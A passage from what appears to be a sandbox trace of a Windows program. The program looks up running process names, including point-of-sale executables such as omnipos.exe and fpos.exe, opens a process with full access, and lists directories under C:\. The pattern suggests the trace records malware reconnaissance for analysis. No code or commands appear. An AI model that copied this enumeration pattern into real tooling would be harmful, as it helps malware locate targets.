plFlavor=0x29bc6f4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x944, varVal2=0x0), pType=0x29bc6f0*=19, plFlavor=0x29bc6f4*=0) returned 0x0 [0088.849] IWbemClassObject:Get (in: This=0x1bf46620, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc6f0*=19, plFlavor=0x29bc6f4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x944, varVal2=0x0), pType=0x29bc6f0*=19, plFlavor=0x29bc6f4*=0) returned 0x0 [0088.850] CoTaskMemAlloc (cb=0x404) returned 0x1bfa6ab0 [0088.850] QueryFullProcessImageNameA (in: hProcess=0x338, dwFlags=0x0, lpExeName=0x1bfa6ab0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Windows\\System32\\spoolsv.exe", lpdwSize=0x1b2fe138) returned 1 [0088.851] CoTaskMemFree (pv=0x1bfa6ab0) [0088.858] CoTaskMemAlloc (cb=0x404) returned 0x1bfa6ab0 [0088.858] QueryFullProcessImageNameA (in: hProcess=0x330, dwFlags=0x0, lpExeName=0x1bfa6ab0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Windows NT\\thunderbird.exe", lpdwSize=0x1b2fe138) returned 1 [0088.858] CoTaskMemFree (pv=0x1bfa6ab0) [0088.862] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xbd8) returned 0x2a0 [0088.862] GetExitCodeProcess (in: hProcess=0x2a0, lpExitCode=0x28e7484 | out: lpExitCode=0x28e7484*=0x103) returned 1 [0088.862] CoTaskMemAlloc (cb=0x404) returned 0x1bfa6ab0 [0088.863] QueryFullProcessImageNameA (in: hProcess=0x2a0, dwFlags=0x0, lpExeName=0x1bfa6ab0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Windows Photo Viewer\\omnipos.exe", lpdwSize=0x1b2fe138) returned 1 [0088.863] CoTaskMemFree (pv=0x1bfa6ab0) [0088.867] CoTaskMemAlloc (cb=0x404) returned 0x1bfa6ab0 [0088.867] QueryFullProcessImageNameA (in: hProcess=0x350, dwFlags=0x0, lpExeName=0x1bfa6ab0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Microsoft OneDrive\\fpos.exe", lpdwSize=0x1b2fe138) returned 1 [0088.867] CoTaskMemFree (pv=0x1bfa6ab0) [0088.871] CoTaskMemAlloc (cb=0x20c) returned 0x11632e0 [0088.871] GetSystemDirectoryW (in: lpBuffer=0x11632e0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0088.871] CoTaskMemFree (pv=0x11632e0) [0088.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0088.871] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0088.872] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bfbf3b0 [0088.872] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5b5feb40, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x5b5feb40, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.874] FindClose (in: hFindFile=0x1bfbf3b0 | out: hFindFile=0x1bfbf3b0) returned 1 [0088.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0088.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0088.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0088.875] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0088.875] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbf3b0 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa0a7d640, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xd85f4660, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd85a83a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x512582c0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x512582c0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x54ca9dc0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x54ca9dc0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x59f3b8e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x59f3b8e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4d5f1480, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4d5f1480, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, 